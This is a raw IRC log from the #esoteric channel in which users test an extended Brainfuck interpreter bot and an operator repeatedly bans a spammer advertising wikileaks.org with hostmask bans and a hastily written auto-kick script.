:oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :does that mean it's the old or new one though < 1395615250 389735 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:,<,<,<,<,<,!01020304050607 < 1395615251 49146 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :1 < 1395615279 93736 :password2!~password@197.78.154.136 PRIVMSG #esoteric :oops < 1395615279 280962 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: old one < 1395615317 345149 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:>,>,>,>,>,>,>!01020304050607 < 1395615318 85252 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :0 1 2 3 4 5 6 |0| < 1395615360 789580 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:>,>,>,>,>,>,>!0f0Ff0F0ffFF < 1395615360 789753 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :0 15 15 240 240 255 255 |0| < 1395615366 184824 :password2!~password@197.78.154.136 PRIVMSG #esoteric :ok < 1395615368 443709 :password2!~password@197.78.154.136 PRIVMSG #esoteric :I'm happy < 1395615370 642069 :password2!~password@197.78.154.136 PRIVMSG #esoteric :and tired < 1395615405 176385 :password2!~password@197.78.154.136 PRIVMSG #esoteric :1 o clock is a good time to pass out < 1395615444 725940 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :+bf:,[.,]!486578207375636b73 < 1395615445 140712 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :Output is: Hex sucks < 1395615445 328117 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|0| < 1395615467 530183 :password2!~password@197.78.154.136 PRIVMSG #esoteric :well done it < 1395615470 202404 :password2!~password@197.78.154.136 PRIVMSG #esoteric :rolf < 1395615508 129381 :password2!~password@197.78.154.136 PRIVMSG #esoteric : i might add a input type flag later < 1395615527 632450 :password2!~password@197.78.154.136 PRIVMSG #esoteric :mmm , or use a @ for ascii input < 1395615546 249834 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you realize ! is the standard so it should work normally hth < 1395615593 709117 :password2!~password@197.78.154.136 PRIVMSG #esoteric :you < 1395615607 599257 :password2!~password@197.78.154.136 PRIVMSG #esoteric :but input is not that major to me < 1395615620 679321 :password2!~password@197.78.154.136 PRIVMSG #esoteric :but i ma switch it around < 1395615632 895006 :password2!~password@197.78.154.136 PRIVMSG #esoteric :just not now < 1395615655 299400 :nooodl!~nooodl@193.119-242-81.adsl-dyn.isp.belgacom.be QUIT :Quit: Ik ga weg < 1395615698 289590 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1395615874 491156 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:+>+>+>+>+>+>+>+>+>+>+><<<<<<<<<<<(+) < 1395615874 803734 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|11| 1 1 1 1 1 1 1 1 1 1 < 1395615885 811362 :password2!~password@197.78.154.136 PRIVMSG #esoteric :heh , i love (+) < 1395615918 250282 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :(+)? < 1395615921 11411 :password2!~password@197.78.154.136 PRIVMSG #esoteric :i should use that in my Fibonacci < 1395615935 239273 :password2!~password@197.78.154.136 PRIVMSG #esoteric :() is relative version of [ ] < 1395615947 141123 :password2!~password@197.78.154.136 PRIVMSG #esoteric :so that (+) finds the first zero < 1395615962 859253 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :that sounds too complicated for bf < 1395615967 114003 :password2!~password@197.78.154.136 PRIVMSG #esoteric ::p < 1395615969 835906 :password2!~password@197.78.154.136 PRIVMSG #esoteric :i added it < 1395615979 449765 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bflist: < 1395615980 562534 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :Commands are +bflist: +bf: +bfreset: +bfdump: +bfdumpascii:. This bf interpreter has pointer too!Type +bfop: for a qiuck list < 1395615989 953813 :password2!~password@197.78.154.136 PRIVMSG #esoteric :oops < 1395615994 311123 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfop: < 1395615995 531179 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :brainfuck^ opperators are []()<>+-{},. () is like [] except it uses the value the current cell points to , {} is like -+ except it dec/inc the value the cell points to < 1395616089 769410 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:+>+<(+}) < 1395616095 380014 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|2| 1 0 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 < 1395616128 79591 :password2!~password@197.78.154.136 PRIVMSG #esoteric :hehe < 1395616132 42714 :password2!~password@197.78.154.136 PRIVMSG #esoteric :ok I'm out < 1395616135 67489 :password2!~password@197.78.154.136 PRIVMSG #esoteric :for real now < 1395616138 481223 :password2!~password@197.78.154.136 PRIVMSG #esoteric :ACTION ***** < 1395616142 540419 :passwordBOT!~passwordB@197.78.154.136 QUIT :Remote host closed the connection < 1395616167 153987 :password2!~password@197.78.154.136 QUIT :Quit: Leaving < 1395616292 73333 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :coppro: indirection seems like a nice feature that isn't overly complicated. it'd kinda be cool if bfjoust had it. it'd make golfed warriors a lot more powerful < 1395616354 24615 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :now i kinda want to make a bf^joust twitterbot < 1395616373 194759 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :130 character warriors only! < 1395616458 716234 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :indirection would be interesting in bfjoust, definitely < 1395616465 437914 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :but it's not a fundamental bf feature < 1395616475 399451 :nisstyre_!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1395616475 606256 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1395616654 801065 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :...by definition\ < 1395617291 482080 :kcahsbor2!~kcahsbor2@1.214.231.219 JOIN :#esoteric < 1395617347 538473 :kcahsbor2!~kcahsbor2@1.214.231.219 PRIVMSG #esoteric :wikileaks.org < 1395617355 589802 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395617368 320509 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :kcahsbor2: what < 1395617386 546090 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :kcashbor: What about Wikileaks? < 1395617404 819079 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :elliott, there was someone similar in the Haskell channel a few minutes ago < 1395617405 816384 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :i don't see any releases since january. < 1395617412 10980 :ChanServ!ChanServ@services. MODE #esoteric +o :elliott > 1395617412 46585 NAMES :#esoteric < 1395617415 655330 :elliott!~elliott@unaffiliated/elliott KICK #esoteric kcahsbor2 :kcahsbor2 < 1395617417 801049 :elliott!~elliott@unaffiliated/elliott MODE #esoteric -o :elliott > 1395617417 822779 NAMES :#esoteric < 1395617431 449682 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :wow way to prop up the ruling hegemony. < 1395617490 580943 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395617602 302949 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Client Quit < 1395617720 600026 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395617924 420985 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :it's what i'd've done < 1395617983 485475 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :wikipedia.org < 1395618016 660796 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :jerkcity.com < 1395618056 94258 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :/kick Taneb < 1395618169 700961 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :http://31.media.tumblr.com/f970070fceb0518bb01ca9e2bb84f10f/tumblr_n2octpAQfj1snfhwio1_1280.jpg it's like, why continue with the artform after its peak < 1395618697 470531 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 240 seconds < 1395619481 580976 :nisstyre_!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395619608 980182 :wikileaks1!~wikileaks@pd95b85d9.dip0.t-ipconnect.de JOIN :#esoteric < 1395619619 273084 :wikileaks1!~wikileaks@pd95b85d9.dip0.t-ipconnect.de PRIVMSG #esoteric :wikleaks.org < 1395619632 479819 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :`relcome wikileaks1 < 1395619632 761429 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395619635 286539 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric ::( < 1395619637 999947 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :`welcome wikileaks1 < 1395619638 342514 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395619643 328984 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric ::'( < 1395619680 670668 :Koen_!~Koen@vbo91-6-78-245-243-132.fbx.proxad.net QUIT :Quit: Koen_ < 1395619689 792725 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :wooot < 1395619703 44775 :wikileaks1!~wikileaks@pd95b85d9.dip0.t-ipconnect.de PRIVMSG #esoteric :woot woot myname < 1395619712 45324 :wikileaks1!~wikileaks@pd95b85d9.dip0.t-ipconnect.de PRIVMSG #esoteric :hello pikhq < 1395619718 133432 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395619729 55163 :wikileaks1!~wikileaks@pd95b85d9.dip0.t-ipconnect.de PRIVMSG #esoteric :how are we doing this evening ladies and gents! < 1395619757 106821 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Mi fartas bone < 1395619767 459199 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :what is myname? < 1395619823 761645 :ChanServ!ChanServ@services. MODE #esoteric +o :elliott > 1395619823 817663 NAMES :#esoteric < 1395619836 499729 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :wikileaks1: why did you not take being kicked as a hint? < 1395619855 541584 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :wikileaks1: Hello < 1395619855 783657 :wikileaks1!~wikileaks@pd95b85d9.dip0.t-ipconnect.de PRIVMSG #esoteric :elliot, because nobody can stop US < 1395619865 760268 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :lol < 1395619869 525638 :wikileaks1!~wikileaks@pd95b85d9.dip0.t-ipconnect.de PRIVMSG #esoteric :zz038 hello! < 1395619870 739733 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :true, the united states is pretty powerful < 1395619888 489593 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :you know who else is powerful? < 1395619891 701002 :elliott!~elliott@unaffiliated/elliott KICK #esoteric wikileaks1 :me < 1395619895 114619 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :okay I just wanted a chance to use that line < 1395619901 71955 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :cheese factor: 100% < 1395619903 409921 :elliott!~elliott@unaffiliated/elliott MODE #esoteric -o :elliott > 1395619903 475457 NAMES :#esoteric < 1395619956 481849 :wikileaks123!~wikileaks@pd95b85d9.dip0.t-ipconnect.de JOIN :#esoteric < 1395619971 15259 :wikileaks123!~wikileaks@pd95b85d9.dip0.t-ipconnect.de PRIVMSG #esoteric :wikileaks.org < 1395619986 929747 :wikileaks123!~wikileaks@pd95b85d9.dip0.t-ipconnect.de PRIVMSG #esoteric :how about that elliot? < 1395619988 757873 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :wikileaks123: You already wrote that < 1395619996 460477 :wikileaks123!~wikileaks@pd95b85d9.dip0.t-ipconnect.de PRIVMSG #esoteric :sorry about the kick guys < 1395620001 408807 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :dude, you didn't even change your IP < 1395620013 61649 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :this is the weakest spam ever < 1395620019 548968 :wikileaks123!~wikileaks@pd95b85d9.dip0.t-ipconnect.de PRIVMSG #esoteric :lol, got u elliot < 1395620028 455745 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :If you have something to say about a specific file, say it otherwise go away until you have something better to write please. < 1395620070 440301 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The newest file was from January anyways; two months ago. < 1395620077 909105 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :can I kick him? please, please :D < 1395620082 656486 :wikileaks1234!~wikileaks@1.214.231.219 JOIN :#esoteric < 1395620091 859411 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :no, I have a better idea < 1395620098 85476 :wikileaks1234!~wikileaks@1.214.231.219 PRIVMSG #esoteric :wikileaks.org @ elliot < 1395620099 34478 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :owned < 1395620102 431992 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Maybe in future there will be more files, but for now it isn't. < 1395620126 495731 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :wikileaks1234: google.com < 1395620135 231293 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :in case you necer heard of it < 1395620138 337758 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :never < 1395620146 870242 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :~duck necer < 1395620147 358660 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- No relevant information < 1395620163 421036 :ChanServ!ChanServ@services. MODE #esoteric +o :elliott > 1395620163 442956 NAMES :#esoteric < 1395620198 509917 :wikileaks1234!~wikileaks@1.214.231.219 PRIVMSG #esoteric :hows it working for you elliot? < 1395620221 29529 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :man what a badass this spammer is < 1395620222 980490 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I can still mapole him, right? < 1395620233 295092 :elliott!~elliott@unaffiliated/elliott MODE #esoteric +b :*!*wikileaks@*.dip0.t-ipconnect.de > 1395620233 317059 NAMES :#esoteric < 1395620233 482503 :elliott!~elliott@unaffiliated/elliott KICK #esoteric wikileaks123 :try again < 1395620234 410211 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :go for it < 1395620234 620319 :elliott!~elliott@unaffiliated/elliott MODE #esoteric +b :*!*wikileaks@1.214.231.* > 1395620234 642222 NAMES :#esoteric < 1395620234 807645 :elliott!~elliott@unaffiliated/elliott KICK #esoteric wikileaks1234 :try again < 1395620241 409573 :elliott!~elliott@unaffiliated/elliott MODE #esoteric +b :*wikileaks*!*@* > 1395620241 430782 NAMES :#esoteric < 1395620249 306461 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :huh, 1. weird. < 1395620251 629648 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :let's hope this 2 minute script works < 1395620262 499881 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :if anyone wants to test it say "wikileaks.org foo" < 1395620269 509279 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :but I am not responsible for the consequences < 1395620273 279146 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :wikileaks.org bar < 1395620278 548023 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric ::(( < 1395620280 808207 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :oh. < 1395620283 960024 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :wikileaks.org foo < 1395620287 678955 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :badass script < 1395620288 660465 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :what gives! < 1395620295 319397 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :wikileaks poulet < 1395620297 19597 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :tryn ow < 1395620297 839927 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :hmm < 1395620298 489417 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :i was expecting at least a g-line < 1395620299 729515 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :try now < 1395620302 989139 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :wikileaks.org baz < 1395620303 177646 :elliott!~elliott@unaffiliated/elliott MODE #esoteric +b :*!*Glossina@*.it.wsu.edu < 1395620303 178702 :elliott!~elliott@unaffiliated/elliott KICK #esoteric Bicyclidine :Bicyclidine > 1395620303 200856 NAMES :#esoteric < 1395620305 166198 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :<3 < 1395620316 680502 :elliott!~elliott@unaffiliated/elliott MODE #esoteric -b :*!*Glossina@*.it.wsu.edu > 1395620316 701933 NAMES :#esoteric < 1395620317 589231 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :holy fungot. < 1395620317 829301 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: close upon this thundering there came a philosopher into kingsport. his name, as given on the records scroll in case i was still holding it above me as if it acted like a noose or fnord thrown around me. it is here that the great stone bridge where naraxa joins the sea just north of rhodes-on-the-pawtuxet. the volume and quality of the howling fnord. i am impatient for yr brig, and inquire daily at mr. fnord in exact cen < 1395620360 988289 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :anyway, nobody talk about that site with the leaks and the wiki < 1395620366 329857 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :you'll regret it < 1395620443 149490 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :it's not like he's years too late to advertise it < 1395620445 859964 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :elliott: You just did mention it < 1395620468 189785 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :zzo38: well, you can talk about it. just don't... erm... say the name. < 1395620497 888935 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: can I get you to say the site that shouldn't be named but can still be talked about? < 1395620498 170277 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: ostracised though he was, none could tell just whose arrest might cut off the spectral fnord dampness, the strangely open porthole, and the great dome on the hill of fnord an' that, he didn't git to sleep at midnight, and did not think it necessary to insist upon a thing which i knew this strange old man possessed. i recognized the fnord was too close to admit of perfect secrecy; but the final soul-shattering catastrophe < 1395620500 253381 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :^ul (wiki)S(leaks)S(.org)S < 1395620500 488613 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :wikileaks.org < 1395620500 676167 :elliott!~elliott@unaffiliated/elliott MODE #esoteric +b :*!*fis@*.zem.fi < 1395620500 676682 :elliott!~elliott@unaffiliated/elliott KICK #esoteric fungot :fungot > 1395620500 697450 NAMES :#esoteric < 1395620514 490236 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :BWAH AH AH! < 1395620517 82605 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(sorry) < 1395620542 479959 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :boily: Yes, that is what you are supposed to do, when such things are implemented. < 1395620548 430506 :LEAKSBOT!~wikileaks@cpc1-ruth8-2-0-cust239.14-1.cable.virginm.net JOIN :#esoteric < 1395620555 319255 :LEAKSBOT!~wikileaks@cpc1-ruth8-2-0-cust239.14-1.cable.virginm.net PRIVMSG #esoteric :WIKILEAKS.ORG < 1395620555 506443 :elliott!~elliott@unaffiliated/elliott MODE #esoteric +b :*!*wikileaks@*.14-1.cable.virginm.net < 1395620555 507487 :elliott!~elliott@unaffiliated/elliott KICK #esoteric LEAKSBOT :LEAKSBOT > 1395620555 526520 NAMES :#esoteric < 1395620637 151010 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :They keep leaving and I cannot send private messages to them anymore < 1395620722 839375 :elliott!~elliott@unaffiliated/elliott MODE #esoteric -b :*!*fis@*.zem.fi > 1395620722 861323 NAMES :#esoteric < 1395620725 89209 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :a/q kmc < 1395620727 713882 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :oops, sorry < 1395620745 448714 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :aw, fungot doesn't respond to /invites :/ < 1395620751 383418 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I should probably not leave this script running long. < 1395620774 424199 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fizzie: would you be so kind as to refungot the chännel twh < 1395620776 861541 :fungot!fis@eos.zem.fi JOIN :#esoteric < 1395620786 532399 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(I'm almost asleep.) < 1395620794 441998 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :elliott: Yes, you should remove it... temporarily add a password to this channel if needed < 1395620800 939759 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Otherwise we will ban fungot again < 1395620801 127301 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :zzo38: complex cases of the permanent projection of elder minds arose many of those blocks were made and used. it was not so sure, for though the chemical air fnord were intact, and not his peculiar personal appearance, which made him end his life. many would have disliked to live if possessed of the peculiar violet light upon it. < 1395620850 188994 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :okay, I severely restricted it. it won't kick fungot now. < 1395620850 376254 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :elliott: using small boats, we effected a difficult landing on ross island shortly after midnight on wednesday, the great race seemed to form a separate and smaller continent divided from the larger one by a laboured revision of the page numbers. < 1395620941 224329 :elliotsheadache!~elliotshe@ti0031a400-1156.bb.online.no JOIN :#esoteric < 1395620945 692886 :elliotsheadache!~elliotshe@ti0031a400-1156.bb.online.no PRIVMSG #esoteric :wikileaks.org < 1395621025 945812 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :what an odd behavior pattern to trap oneself in < 1395621047 589860 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :a norwegian address without a past, a spammer without a future, an elliott without a t. < 1395621064 39184 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :whaat, you broke my script < 1395621069 945707 :elliott!~elliott@unaffiliated/elliott MODE #esoteric +b :*!*elliotshe@*.bb.online.no > 1395621069 967520 NAMES :#esoteric < 1395621070 133477 :elliott!~elliott@unaffiliated/elliott KICK #esoteric elliotsheadache :elliotsheadache < 1395621070 432702 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :lol < 1395621078 566949 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :rip elliott's script, twerked too hard < 1395621137 605528 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :what's going on here < 1395621147 781748 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :shachaf: elliott is going on here. < 1395621153 12545 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(Clearly.) < 1395621167 668947 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :shachaf: And also, someone who repeats themself too much is trying to be going on here. < 1395621168 369356 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :spam spam spam lovely spam wonderful spam < 1395621260 125440 :showeduthistime!~showeduth@115-64-58-252.static.tpgi.com.au JOIN :#esoteric < 1395621291 889787 :showeduthistime!~showeduth@115-64-58-252.static.tpgi.com.au PRIVMSG #esoteric :wikileaks.org < 1395621300 729806 :showeduthistime!~showeduth@115-64-58-252.static.tpgi.com.au PRIVMSG #esoteric :@ elliott < 1395621307 240120 :elliott!~elliott@unaffiliated/elliott MODE #esoteric +b :*!*showeduth@*.static.tpgi.com.au > 1395621307 262432 NAMES :#esoteric < 1395621307 427040 :elliott!~elliott@unaffiliated/elliott KICK #esoteric showeduthistime :showeduthistime < 1395621312 980609 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's like whack a mole < 1395621377 59911 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :show edu this time? who's edu? < 1395621408 188873 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Elliott HirD Unknown? < 1395621419 108941 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :show edu, some sort of MOOC platform < 1395621441 294299 :heyelliott!~heyelliot@206.116.240.115 JOIN :#esoteric < 1395621448 188834 :heyelliott!~heyelliot@206.116.240.115 PRIVMSG #esoteric :hey elliot!!! < 1395621451 949553 :heyelliott!~heyelliot@206.116.240.115 PRIVMSG #esoteric :wikileaks.org < 1395621454 806503 :heyelliott!~heyelliot@206.116.240.115 PRIVMSG #esoteric :lol < 1395621504 279507 :elliott!~elliott@unaffiliated/elliott MODE #esoteric +b :*elliott*!*@* > 1395621504 301536 NAMES :#esoteric < 1395621507 780014 :elliott!~elliott@unaffiliated/elliott MODE #esoteric +b :*!*heyelliot@206.116.240.* > 1395621507 801816 NAMES :#esoteric < 1395621507 967204 :elliott!~elliott@unaffiliated/elliott KICK #esoteric heyelliott :heyelliott < 1395621511 9579 :elliott!~elliott@unaffiliated/elliott KICK #esoteric elliott :elliott < 1395621514 626080 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :ugh, and you know you can't even engage them because they've rerouted their brain as a 4chan-level snail < 1395621583 250181 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :lol < 1395621585 398969 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :uhm. now what? < 1395621591 642741 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :~duck MOOC < 1395621592 56315 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :Software description: code of Massive Open Online Courses. < 1395621632 411694 :heyelliot!~heyelliot@1.214.231.219 JOIN :#esoteric < 1395621638 152778 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :boily: Now, maybe they will not find elliott < 1395621646 377413 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :wikileaks.org < 1395621649 495821 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :@ elliot < 1395621649 769936 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :heyelliot: elliott is not here right now!!! < 1395621650 774766 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :wait for them to get bored < 1395621665 654316 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :in the meantime, let's accuse each other of being fascists < 1395621671 359223 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :heyelliot: (You also misspelled their name) < 1395621679 31738 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :oh, she banned her username with her script! nice < 1395621681 733635 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i'll start. metasepia you really grind my gears < 1395621697 727160 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :i had to mispell on purpose... she banned anyone with elliott, so i dropped a t < 1395621707 516040 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :actually elliott just kicked themselves < 1395621709 219129 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :O, OK. < 1395621710 669602 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :what's this she stuff < 1395621728 771450 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :not sure why i said she < 1395621761 768592 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :this is fun! anyone else having fun? < 1395621782 754764 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you're boring, okay? just accept it and move on. < 1395621791 707288 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you'll never live up to the legacy of itidus21. < 1395621791 894572 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :thanks to heyelliot we have NO BOTS!! < 1395621794 99041 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :heyelliot: Yes, and you repeat yourself too much. < 1395621795 864332 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :U GUYS ARE WELCOME! < 1395621799 309701 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :what kind of entity is behind heyelliot? are they of the meatsack persuasion, or more of a silicon existence? < 1395621803 355767 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu 